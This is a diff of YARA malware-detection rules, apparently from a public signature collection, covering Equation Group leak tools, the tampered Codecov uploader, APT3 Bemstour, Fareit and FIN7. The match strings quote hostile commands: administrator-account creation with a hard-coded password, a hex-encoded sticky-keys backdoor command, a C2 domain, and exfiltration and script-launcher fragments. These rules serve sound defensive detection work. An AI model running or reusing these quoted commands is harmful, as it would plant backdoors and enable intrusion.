 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3027-L3043"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6d9ba73fe2a6da99ba44b00bcb5ecf51e983ac245fd5c6e620d35e8120514464"
+		reference = "https://goo.gl/CX3KaY"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_unspecified_malware.yar#L3-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a078b96ea15b287c8aed960741865aeac356ec8650eac71b8e28f2f1924ec956"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "69e2c68c6ea7be338497863c0c5ab5c77d5f522f0a84ab20fe9c75c7f81318eb"
+		hash1 = "e8156ec1706716cada6f57b6b8ccc9fb0eb5debe906ac45bdc2b26099695b8f5"
 
 	strings:
-		$s1 = "Usage: %s [d|e] session_key ciphertext" fullword ascii
-		$s2 = "where session_key and ciphertext are strings of hex" fullword ascii
-		$s3 = "d = decrypt mode, e = encrypt mode" fullword ascii
-		$s4 = "Bad mode, should be 'd' or 'e'" fullword ascii
+		$x1 = "%AllUsersProfile%\\DeviceSync\\m.exe" fullword wide
+		$x2 = "freenow.chickenkiller.com" fullword ascii
+		$x3 = "\\Release\\PhantomNet-SSL.pdb" ascii
+		$s1 = "SELECT * FROM AntiVirusProduct" fullword ascii
+		$s2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%08X-%04X-%04X-%02X%02X%02X%02X" fullword ascii
+		$s3 = "Proxy-Authenticate: Basic" fullword ascii
+		$s4 = "Proxy-Authenticate: NTLM" fullword ascii
+		$s5 = "Root\\SecurityCenter2" fullword wide
+		$s6 = "aaabbbcccddd" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
+		( uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or 4 of ($s*))) or ( all of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_PC_Level_Generic : FILE
+rule SIGNATURE_BASE_APT_SH_Codecov_Hack_Apr21_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects manipulated Codecov bash uploader tool that has been manipulated by an unknown actor during March / April 2021"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7ff3d0b0-7a70-561e-9c45-d1f9dbccefe9"
-		date = "2017-04-15"
+		id = "b5fb74c4-073e-53af-a207-1672e63c9a64"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3045-L3075"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ddb3441b62b477ab7e3406a22e2a246b60c1d1d25e4acf52ee452a2dfac2daf7"
+		reference = "https://about.codecov.io/security-update/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_codecov_hack.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1aa7723982a1b675ba6694f1af0eb28e5926b974874580bd727cf33a3f8d893a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7a6488dd13936e505ec738dcc84b9fec57a5e46aab8aff59b8cfad8f599ea86a"
-		hash2 = "0e3cfd48732d0b301925ea3ec6186b62724ec755ed40ed79e7cd6d3df511b8a0"
-		hash3 = "d1d6e3903b6b92cc52031c963e2031b5956cadc29cc8b3f2c8f38be20f98a4a7"
-		hash4 = "25a2549031cb97b8a3b569b1263c903c6c0247f7fff866e7ec63f0add1b4921c"
-		hash5 = "591abd3d7ee214df25ac25682b673f02219da108d1384261052b5167a36a7645"
-		hash6 = "6b71db2d2721ac210977a4c6c8cf7f75a8f5b80b9dbcece1bede1aec179ed213"
-		hash7 = "7be4c05cecb920f1010fc13086635591ad0d5b3a3a1f2f4b4a9be466a1bd2b76"
-		hash8 = "f9cbccdbdf9ffd2ebf1ee84d0ddddd24a61dbe0858ab7f0131bef6c7b9a19131"
-		hash9 = "3cf7a01bdf8e73769c80b75ca269b506c33464d81f574ded8bb20caec2d4cd13"
-		hash10 = "a87a871fe32c49862ed68fda99d92efd762a33ababcd9b6b2b909f2e01f59c16"
 
 	strings:
-		$s1 = "wshtcpip.WSHGetSocketInformation" fullword ascii
-		$s2 = "\\\\.\\%hs" fullword ascii
-		$s3 = ".?AVResultIp@Mini_Mcl_Cmd_NetConnections@@" fullword ascii
-		$s4 = "Corporation. All rights reserved." fullword wide
-		$s5 = { 49 83 3c 24 00 75 02 eb 5d 49 8b 34 24 0f b7 46 }
-		$op1 = { 44 24 57 6f c6 44 24 58 6e c6 44 24 59 }
-		$op2 = { c6 44 24 56 64 88 5c 24 57 }
-		$op3 = { 44 24 6d 4c c6 44 24 6e 6f c6 44 24 6f }
+		$a1 = "Global report uploading tool for Codecov"
+		$s1 = "curl -sm 0.5 -d"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and (2 of ($s*) or all of ($op*))
+		uint16(0)==0x2123 and filesize <70KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_PC_Level3_Http_Exe : FILE
+rule SIGNATURE_BASE_EXPL_Exploit_TLB_Scripts : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9bb4224e-f900-5f5c-8091-088a4b791ada"
-		date = "2017-04-15"
+		description = "Detects malicious TLB files which may be delivered via Visual Studio projects"
+		author = "Rich Warren (slightly modified by Florian Roth)"
+		id = "5151458e-4c30-50ff-a39e-e5b5b68b87aa"
+		date = "2021-01-26"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3077-L3094"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "50d83b157c338830eea6aba2e09e9d513dd5b50e257d1a16c0d51616bfa26a7f"
+		reference = "https://github.com/outflanknl/Presentations/blob/master/Nullcon2020_COM-promise_-_Attacking_Windows_development_environments.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_tlb_scripts.yar#L2-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "39bf626d60a867d054762043f74e86998d6848439655f84be72003c112db9953"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3e855fbea28e012cd19b31f9d76a73a2df0eb03ba1cb5d22aafe9865150b020c"
 
 	strings:
-		$s1 = "Copyright (C) Microsoft" fullword wide
-		$op1 = { 24 39 65 c6 44 24 3a 6c c6 44 24 3b 65 c6 44 24 }
-		$op2 = { 44 24 4e 41 88 5c 24 4f ff }
-		$op3 = { 44 24 3f 6e c6 44 24 40 45 c6 44 24 41 }
+		$a = ".sct" ascii nocase
+		$b = "script:" ascii nocase
+		$c = "scriptlet:" ascii nocase
+		$d = "soap:" ascii nocase
+		$e = "winmgmts:" ascii nocase
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and all of them )
+		uint32be(0)==0x4D534654 and filesize <100KB and any of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Parsecapture : FILE
+rule SIGNATURE_BASE_Apt3_Bemstour_Strings : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "11743260-c5ce-59de-9fcf-0c050eee98ff"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3096-L3111"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8946bc6d1812a998757a4032755f37aa2be6121a958ebfb6fec90fa60da038fb"
+		description = "Detects strings used by the Bemstour exploitation tool"
+		author = "Mark Lechtik"
+		id = "8b76e10a-040f-505e-9dff-cd0a689b121e"
+		date = "2019-06-25"
+		modified = "2023-12-04"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt3_bemstour.yar#L1-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
+		logic_hash = "8aa7491b1dc3595f67ae1229d33f79261616b0f27485b7a27705db63a6111c07"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c732d790088a4db148d3291a92de5a449e409704b12e00c7508d75ccd90a03f2"
+		company = "Check Point Software Technologies LTD."
 
 	strings:
-		$x1 = "* Encrypted log found.  An encryption key must be provided" fullword ascii
-		$x2 = "encryptionkey = e.g., \"00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff\"" fullword ascii
-		$x3 = "Decrypting with key '%02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x'" fullword ascii
+		$dbg_print_1 = "leaked address is 0x%llx" ascii wide
+		$dbg_print_2 = "========== %s ==========" ascii wide
+		$dbg_print_3 = "detailVersion:%d" ascii wide
+		$dbg_print_4 = "create pipe twice failed" ascii wide
+		$dbg_print_5 = "WSAStartup function failed with error: %d" ascii wide
+		$dbg_print_6 = "can't open input file." ascii wide
+		$dbg_print_7 = "Allocate Buffer Failed." ascii wide
+		$dbg_print_8 = "Connect to target failed." ascii wide
+		$dbg_print_9 = "connect successful." ascii wide
+		$dbg_print_10 = "not supported Platform" ascii wide
+		$dbg_print_11 = "Wait several seconds." ascii wide
+		$dbg_print_12 = "not set where to write ListEntry ." ascii wide
+		$dbg_print_13 = "backdoor not installed." ascii wide
+		$dbg_print_14 = "REConnect to target failed." ascii wide
+		$dbg_print_15 = "Construct TreeConnectAndX Request Failed." ascii wide
+		$dbg_print_16 = "Construct NTCreateAndXRequest  Failed." ascii wide
+		$dbg_print_17 = "Construct Trans2  Failed." ascii wide
+		$dbg_print_18 = "Construct ConsWXR  Failed." ascii wide
+		$dbg_print_19 = "Construct ConsTransSecondary  Failed." ascii wide
+		$dbg_print_20 = "if you don't want to input password , use server2003 version.." ascii wide
+		$cmdline_1 = "Command format  %s TargetIp domainname username password 2" ascii wide
+		$cmdline_2 = "Command format  %s TargetIp domainname username password 1" ascii wide
+		$cmdline_3 = "cmd.exe /c net user test test /add && cmd.exe /c net localgroup administrators test /add" ascii wide
+		$cmdline_4 = "hello.exe  \"C:\\WINDOWS\\DEBUG\\test.exe\"" ascii wide
+		$cmdline_5 = "parameter not right" ascii wide
+		$smb_param_1 = "browser" ascii wide
+		$smb_param_2 = "spoolss" ascii wide
+		$smb_param_3 = "srvsvc" ascii wide
+		$smb_param_4 = "\\PIPE\\LANMAN" ascii wide
+		$smb_param_5 = "Werttys for Workgroups 3.1a" ascii wide
+		$smb_param_6 = "PC NETWORK PROGRAM 1.0" ascii wide
+		$smb_param_7 = "LANMAN1.0" ascii wide
+		$smb_param_8 = "LM1.2X002" ascii wide
+		$smb_param_9 = "LANMAN2.1" ascii wide
+		$smb_param_10 = "NT LM 0.12" ascii wide
+		$smb_param_12 = "WORKGROUP" ascii wide
+		$smb_param_13 = "Windows Server 2003 3790 Service Pack 2" ascii wide
+		$smb_param_14 = "Windows Server 2003 5.2" ascii wide
+		$smb_param_15 = "Windows 2002 Service Pack 2 2600" ascii wide
+		$smb_param_16 = "Windows 2002 5.1" ascii wide
+		$smb_param_17 = "PC NETWORK PROGRAM 1.0" ascii wide
+		$smb_param_18 = "Windows 2002 5.1" ascii wide
+		$smb_param_19 = "Windows for Workgroups 3.1a" ascii wide
+		$unique_str_1 = "WIN-NGJ7GKNROVS"
+		$unique_str_2 = "XD-A31C2E0087B2"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <50KB and 1 of them )
+		uint16(0)==0x5a4d and (5 of ($dbg_print*) or 2 of ($cmdline*) or 1 of ($unique_str*)) and 3 of ($smb_param*)
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Activedirectory_Target : FILE
+rule SIGNATURE_BASE_Apt3_Bemstour_Implant_Byte_Patch
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1069cabe-7c09-522f-ad3f-05651490b921"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3113-L3127"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0dee634fe81870b21531046be512e9e54b127207c1910ca5ce5dfab63b1d0603"
+		description = "Detects an implant used by Bemstour exploitation tool (APT3)"
+		author = "Mark Lechtik"
+		id = "c30434c3-8949-566c-b6a6-29bffdaf961d"
+		date = "2019-06-25"
+		modified = "2023-12-04"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt3_bemstour.yar#L69-L104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
+		logic_hash = "08de2c885ccb24cb247efdcc06bbcbea144d652744b2d38aaa2aabfd341e4f91"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "33c1b7fdee7c70604be1e7baa9eea231164e62d5d5090ce7f807f43229fe5c36"
+		tags = ""
+		company = "Check Point Software Technologies LTD."
 
 	strings:
-		$s1 = "(&(objectCategory=person)(objectClass=user)(cn=" fullword wide
-		$s2 = "(&(objectClass=user)(objectCategory=person)" fullword wide
+		$chunk_1 = {
+
+C7 45 ?? 55 8B EC 83
+C7 45 ?? EC 74 53 56
+C7 45 ?? 8B 75 08 33
+C7 45 ?? C9 57 C7 45
+C7 45 ?? 8C 4C 6F 61
+
+}
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		any of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_PC_Legacy_Dll : HIGHVOL FILE
+rule SIGNATURE_BASE_Apt3_Bemstour_Implant_Command_Stack_Variable
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "254ff1f7-52ee-57fa-be02-2904e132e25c"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3129-L3144"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "923a595737bc83fe05d0ca7301c70e1cb03cecf97dfa99f5967b77b892a9a533"
+		description = "Detecs an implant used by Bemstour exploitation tool (APT3)"
+		author = "Mark Lechtik"
+		id = "c773da5a-2d3f-5a0a-af2e-28ad382622b3"
+		date = "2019-06-25"
+		modified = "2023-12-04"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt3_bemstour.yar#L107-L275"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
+		logic_hash = "36710db313a52db2a0c0af356e701d3a36e5597203e87fd7f8586d202738be33"
 		score = 75
 		quality = 85
-		tags = "HIGHVOL, FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0cbc5cc2e24f25cb645fb57d6088bcfb893f9eb9f27f8851503a1b33378ff22d"
+		tags = ""
+		company = "Check Point Software Technologies LTD."
 
 	strings:
-		$op1 = { 45 f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 }
-		$op2 = { 49 c6 45 e1 73 c6 45 e2 57 c6 45 e3 }
-		$op3 = { 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 6f c6 45 ea }
+		$chunk_1 = {
+
+C7 85 ?? ?? ?? ?? 63 6D 64 2E
+C7 85 ?? ?? ?? ?? 65 78 65 20
+C7 85 ?? ?? ?? ?? 2F 63 20 63
+C7 85 ?? ?? ?? ?? 6F 70 79 20
+C7 85 ?? ?? ?? ?? 25 77 69 6E
+C7 85 ?? ?? ?? ?? 64 69 72 25
+C7 85 ?? ?? ?? ?? 5C 73 79 73
+C7 85 ?? ?? ?? ?? 74 65 6D 33
+C7 85 ?? ?? ?? ?? 32 5C 63 6D
+C7 85 ?? ?? ?? ?? 64 2E 65 78
+C7 85 ?? ?? ?? ?? 65 20 25 77
+C7 85 ?? ?? ?? ?? 69 6E 64 69
+C7 85 ?? ?? ?? ?? 72 25 5C 73
+C7 85 ?? ?? ?? ?? 79 73 74 65
+C7 85 ?? ?? ?? ?? 6D 33 32 5C
+C7 85 ?? ?? ?? ?? 73 65 74 68
+C7 85 ?? ?? ?? ?? 63 2E 65 78
+C7 85 ?? ?? ?? ?? 65 20 2F 79
+83 A5 ?? ?? ?? ?? 00
+}
+		$chunk_2 = {
+
+C7 85 ?? ?? ?? ?? 63 6D 64 20
+C7 85 ?? ?? ?? ?? 2F 63 20 22
+C7 85 ?? ?? ?? ?? 6E 65 74 20
+C7 85 ?? ?? ?? ?? 75 73 65 72
+C7 85 ?? ?? ?? ?? 20 63 65 73
+C7 85 ?? ?? ?? ?? 73 75 70 70
+C7 85 ?? ?? ?? ?? 6F 72 74 20
+C7 85 ?? ?? ?? ?? 31 71 61 7A
+C7 85 ?? ?? ?? ?? 23 45 44 43
+C7 85 ?? ?? ?? ?? 20 2F 61 64
+C7 85 ?? ?? ?? ?? 64 20 26 26
+C7 85 ?? ?? ?? ?? 20 6E 65 74
+C7 85 ?? ?? ?? ?? 20 6C 6F 63
+C7 85 ?? ?? ?? ?? 61 6C 67 72
+C7 85 ?? ?? ?? ?? 6F 75 70 20
+C7 85 ?? ?? ?? ?? 61 64 6D 69
+C7 85 ?? ?? ?? ?? 6E 69 73 74
+C7 85 ?? ?? ?? ?? 72 61 74 6F
+C7 85 ?? ?? ?? ?? 72 73 20 63
+C7 85 ?? ?? ?? ?? 65 73 73 75
+C7 85 ?? ?? ?? ?? 70 70 6F 72
+C7 85 ?? ?? ?? ?? 74 20 2F 61
+C7 85 ?? ?? ?? ?? 64 64 22 00
+6A 5C
+
+}
+		$chunk_3 = {
+
+C7 45 ?? 57 69 6E 45
+C7 45 ?? 78 65 63 00
+C7 45 ?? 47 65 74 50
+C7 45 ?? 72 6F 63 41
+C7 45 ?? 64 64 72 65
+C7 45 ?? 73 73 00 00
+C7 45 ?? 43 72 65 61
+C7 45 ?? 74 65 46 69
+C7 45 ?? 6C 65 41 00
+C7 45 ?? 57 72 69 74
+C7 45 ?? 65 46 69 6C
+C7 45 ?? 65 00 00 00
+C7 45 ?? 43 6C 6F 73
+C7 45 ?? 65 48 61 6E
+C7 45 ?? 64 6C 65 00
+89 4D ??
+
+}
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		any of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Svctouch : FILE
+rule SIGNATURE_BASE_Fareit_Trojan_Oct15 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects Fareit Trojan from Sep/Oct 2015 Wave"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a1246afa-32ba-5730-91a2-b1116160d662"
-		date = "2017-04-15"
+		id = "725abb2a-7675-51b5-aed8-594e4826a6b4"
+		date = "2015-10-18"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3146-L3159"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0e876611ffe4740141a0454f68cfc7dd3c46e0fd44deeb9f3e0f66c8fccd3745"
-		score = 75
+		reference = "http://goo.gl/5VYtlU"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_fareit.yar#L8-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ef47e81483d5edf67d489a9a35ce56667e293350534e780d7d93b1fbc5f7113a"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "96b6a3c4f53f9e7047aa99fd949154745e05dc2fd2eb21ef6f0f9b95234d516b"
+		super_rule = 1
+		hash1 = "230ca0beba8ae712cfe578d2b8ec9581ce149a62486bef209b04eb11d8c088c3"
+		hash2 = "3477d6bfd8313d37fedbd3d6ba74681dd7cb59040cabc2991655bdce95a2a997"
+		hash3 = "408fa0bd4d44de2940605986b554e8dab42f5d28a6a525b4bc41285e37ab488d"
+		hash4 = "76669cbe6a6aac4aa52dbe9d2e027ba184bf3f0b425f478e8c049637624b5dae"
+		hash5 = "9486b73eac92497e703615479d52c85cfb772b4ca6c846ef317729910e7c545f"
+		hash6 = "c3300c648aebac7bf1d90f58ea75660c78604410ca0fa705d3b8ec1e0a45cdd9"
+		hash7 = "ff83e9fcfdec4ffc748e0095391f84a8064ac958a274b9684a771058c04cb0fa"
 
 	strings:
-		$s1 = "Causes: Firewall,Machine down,DCOM disabled\\not supported,etc." fullword ascii
+		$s1 = "ebai.exe" fullword wide
+		$s2 = "Origina" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <10KB and 1 of them )
+		uint16(0)==0x5a4d and $s1 in (0..30000) and $s2 in (0..30000)
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Pwd_Implant : FILE
+rule SIGNATURE_BASE_SUSP_VHD_Suspicious_Small_Size : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects suspicious VHD files"
 		author = "Florian Roth (Nextron Systems)"
-		id = "69d071f0-7214-5972-805a-3c0c1d2346c2"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3161-L3176"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f565c42781ff4b0b37e7c00673fb2da2877018317cd415bdb47d4e019485c727"
-		score = 75
-		quality = 85
+		id = "f4a72e7b-ddd3-5038-9440-1e81dc27755d"
+		date = "2019-12-21"
+		modified = "2023-01-27"
+		reference = "https://twitter.com/MeltX0R/status/1208095892877774850"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_vhd_anomaly.yar#L2-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0bd5b113714854feaa89d52d4bab6a4a00f0dcb7fd816fa7b036eb43d3ea0dd8"
+		score = 50
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ee72ac76d82dfec51c8fbcfb5fc99a0a45849a4565177e01d8d23a358e52c542"
+		hash1 = "3382a75bd959d2194c4b1a8885df93e8770f4ebaeaff441a5180ceadf1656cd9"
 
 	strings:
-		$s1 = "7\"7(7/7>7O7]7o7w7" fullword ascii
-		$op1 = { 40 50 89 44 24 18 FF 15 34 20 00 }
+		$hc1 = { 63 6F 6E 65 63 74 69 78 }
+		$hc2a = { 49 6E 76 61 6C 69 64 20 70 61 72 74 69 74 69 6F
+               6E 20 74 61 62 6C 65 00 45 72 72 6F 72 20 6C 6F
+               61 64 69 6E 67 20 6F 70 65 72 61 74 69 6E 67 20
+               73 79 73 74 65 6D 00 4D 69 73 73 69 6E 67 20 6F
+               70 65 72 61 74 69 6E 67 20 73 79 73 74 65 6D }
+		$hc2b = "connectix"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <20KB and 1 of them )
+		not uint16(0)==0x5a4d and filesize >1KB and filesize <=4000KB and ($hc1 at 0 or all of ($hc2*))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Kisucomms_Target_2000 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_Strings_Aug18_1
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects strings from FIN7 report in August 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "693a82e5-a3f1-5a56-b33d-0daef36bbe5f"
-		date = "2017-04-15"
+		id = "9b940986-e41b-5fbf-9e42-cb0fd550e541"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3178-L3198"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7d350228ad779d0453c1077afb2b533036eb1e43e4f74a433d68c781db963ab1"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L13-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "89d2f8f28a7ab0e78c53d8c41b45efa60cfa9ff72306c49197f52342d9a3c546"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "94eea1bad534a1dc20620919de8046c9966be3dd353a50f25b719c3662f22135"
+		hash1 = "b6354e46af0d69b6998dbed2fceae60a3b207584e08179748e65511d45849b00"
 
 	strings:
-		$s1 = "363<3S3c3l3q3v3{3" fullword ascii
-		$s2 = "3!3%3)3-3135393@5" fullword ascii
-		$op0 = { eb 03 89 46 54 47 83 ff 1a 0f 8c 40 ff ff ff 8b }
-		$op1 = { 8b 46 04 85 c0 74 0f 50 e8 34 fb ff ff 83 66 04 }
-		$op2 = { c6 45 fc 02 8d 8d 44 ff ff ff e8 d2 2f 00 00 eb }
+		$s1 = "&&call %a01%%a02% /e:jscript" ascii
+		$s2 = "wscript.exe //b /e:jscript %TEMP%" ascii
+		$s3 = " w=wsc@ript /b " ascii
+		$s4 = "@echo %w:@=%|cmd" ascii
+		$s5 = " & wscript //b /e:jscript"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and ( all of ($s*) or all of ($op*)))
+		1 of them
 }
